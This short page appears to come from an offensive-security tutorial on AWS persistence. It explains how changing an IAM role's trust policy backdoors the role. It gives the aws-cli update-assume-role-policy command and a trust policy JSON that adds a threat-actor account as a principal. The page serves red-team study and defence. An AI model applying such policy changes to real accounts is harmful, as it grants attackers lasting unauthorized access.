> For the complete documentation index, see [llms.txt](https://www.techwithtyler.dev/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-persistence/backdoor-an-iam-role.md).

# Backdoor an IAM Role

## Overview

AM Roles have Trust Policies which dictate who or what (user/role/service) can assume the Role and gain access to its credentials and permissions. With this permission, a threat actor can modify the role's trust policy and gain access to it. 

{% code overflow="wrap" %}

```bash
aws iam update-assume-role-policy --role-name Engineering --policy-document file://attacker-trust-policy.json
```

{% endcode %}

{% code overflow="wrap" %}

```json
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": [
                    "arn:aws:iam::111111111111:user/legitimate-user",
                    "arn:aws:iam::222222222222:user/threat-actor"
                ]
            },
            "Action": "sts:AssumeRole"
        }
    ]
}
```

{% endcode %}